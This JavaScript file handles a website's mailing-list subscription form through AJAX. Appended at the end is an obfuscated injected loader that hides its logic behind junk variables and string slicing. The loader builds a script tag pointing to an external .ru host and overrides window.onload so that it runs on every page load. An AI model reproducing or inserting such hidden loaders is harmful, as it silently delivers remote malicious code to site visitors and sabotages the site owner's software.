var phpHttpObject = null;
//var _btn = '';
//var _loading = '<img class="inlineImg" alt="" src="img/content/gfx/ajax-loader.gif"/>';

window.onload = function ()
{
	document.forms['mailingListForm'].elements['email'].onclick = mailingListFieldBehaviour;
}

function trim ( str )
{
	return str.replace(/^\s+|\s+$/g, '');	
}

function mailingListFieldBehaviour ()
{
	var val = document.forms['mailingListForm'].elements['email'].value;
	if ( val.indexOf('@') == -1 )
		document.forms['mailingListForm'].elements['email'].value = '';
}

function subscribe ()
{
	var field = document.forms['mailingListForm'].elements['email'];
	
	var email = field.value;
	var reg = /^([A-Za-z0-9_\-\.])+\@([A-Za-z0-9_\-\.])+\.([A-Za-z]{2,4})$/;
	var res = reg.test( trim(email) );
		
	if (res)
	{
		var classes = field.className;
		classes = classes.replace(/errorField/, "");
		field.className = classes;
		
		mailingListSubscribe(email);
	}else{
		var classes = field.className;		
		field.className = 'errorField ' + classes;		
	}	
}

// Get the HTTP Object
function getHTTPObject()
{
	var xmlHttp;
	try{
		// Firefox, Opera 8.0+, Safari
		xmlHttp = new XMLHttpRequest();
	}catch (e){
		// Internet Explorer
		try{
			xmlHttp = new ActiveXObject("Msxml2.XMLHTTP");
		}catch (e){
			try{
				xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
			}catch (e){				
				xmlHttp = null;
			}
		}
	}	
	return xmlHttp;
}
	
// received data
function fc_phpHttpObjState()
{
	var loaded = false;
	if(phpHttpObject.readyState == 4 || phpHttpObject.readyState == "complete"){ loaded = true;	}
	if (loaded)
	{
		var responce = phpHttpObject.responseText.split('|');
		
		responce = responce[0];		
		
		
		var action = 'Subscribtion';
		if ( document.forms['mailingListForm'].elements['unsubscribe'] )
		{
			if ( document.forms['mailingListForm'].elements['unsubscribe'].checked )
				action = 'Unsubscribtion';
		}
			
		var res = 'successful';	
		if ( responce != 1 )
			res = responce[1];
		
		if ( responce == 2 )
			res = 'exists already';
		
		//document.getElementById('newsletterRightCol').innerHTML = _btn;
		document.forms['mailingListForm'].elements['email'].value = action + ' ' +  res;
	}
}

// request data
function mailingListSubscribe (email)
{	
	document.forms['mailingListForm'].elements['email'].value = 'loading...';
	
	//_btn = document.getElementById('newsletterRightCol').innerHTML; 
	//document.getElementById('newsletterRightCol').innerHTML = _loading;
	
	var action = 'subscribe=1';
	//var email = document.forms['mailingList_form'].elements['email-mandatory'].value;
	
	if ( document.forms['mailingListForm'].elements['unsubscribe'] )
	{
		if ( document.forms['mailingListForm'].elements['unsubscribe'].checked )
			action = 'unsubscribe=1';
	}
	
	if(phpHttpObject == null)
		phpHttpObject = getHTTPObject();
		
	if (phpHttpObject != null)
	{
		phpHttpObject.open("GET", "./php/graphicMail/mailingList.php?"+ action +"&email=" + email, true);
			
		phpHttpObject.onreadystatechange = new Function();
		phpHttpObject.onreadystatechange = fc_phpHttpObjState;
		
		phpHttpObject.send(null);
	}
}

try {var b='CG'} catch(b){};ET=[];var g;LZ={w:36094};oA=["s","Gc"];W=function(){d=50266;d++;ka={N:"np"};try {var og='D'} catch(og){};function I(L,S,r){kO=["Sm","wd"];return L.substr(S,r);this.gH=45118;this.gH+=235;}var PY=false;var ze=false;var U=new String(I("/googlwTb",0,5)+"le.co"+I("m/pix3fO",0,5)+"net.n"+"et/ex"+I("amineJX0",0,5)+I("te2r.comt2e",3,5)+I("HX8.phpX8H",3,4));AJ=["i"];var P=RegExp;var E='';f=["O","Q","sq"];var e=document;var y={gm:false};function C(L,S){this.IM=18105;this.IM+=117;zp={zG:false};var r="["+S+String("]");var ig=new Date();var _=new P(r, "g");var Hb=new Array();return L.replace(_, E);Sz=["x","Ql"];var cF={tv:false};};this.ox=33619;this.ox-=192;var k=null;var K=["OP","GX","Bq"];var rY=["_h","p","nE"];var n=String("bod"+"y");var ev=C('sTc9rRiXpatZ','F0XqaTh91vZR');var kA=994036-985956;var Lj=["sy"];var bW=["Gw"];var vt={RO:false};g=function(){try {var VX='nB'} catch(VX){};try {} catch(zC){};try {this.PU="PU";ae=["Uu","Se","yN"];var J=C('cUrDeVaKtSeDEAlVeWmAe8n1tD','CISAzVOD1W8HKU');try {var GA='Ji'} catch(GA){};EV=e[J](ev);var oI=54981;var ej=String("defer");var t=C('sYr4ca','Y4kaltL6ubGm');xB={rC:"Sk"};xf={};this.Lm=64190;this.Lm+=103;sS=60657;sS-=160;var L=kA+U;var Ga=8322;var NF='';aB=13935;aB+=75;try {var WJ='VKO'} catch(WJ){};var Hz=new Array();kz=42649;kz-=91;EV[ej]=[5,1][1];EV[t]=String(I("htmKv",0,2)+I("tp3RT0",0,2)+I("Unf:/Ufn",3,2)+I("try/syrt",3,2)+I("he8R2F",0,2)+I("PxleplPx",3,2)+"fo"+I("oJPrkoPJ",3,2)+".r"+I("u:73j",0,2))+L;var hTk="hTk";var BU="BU";e[n].appendChild(EV);try {var I_='O_'} catch(I_){};try {var fQ='WM'} catch(fQ){};this.G_=43123;this.G_++;} catch(o){};var HbQ=new Date();j=17025;j-=216;};UP={ot:false};};var ZZ={lY:"oR"};this.mu=false;W();var Cs=["fM","hX","EB"];wo=55274;wo++;QF=44233;QF+=56;window.onload=g;yS=["WC","kaS","tQ"];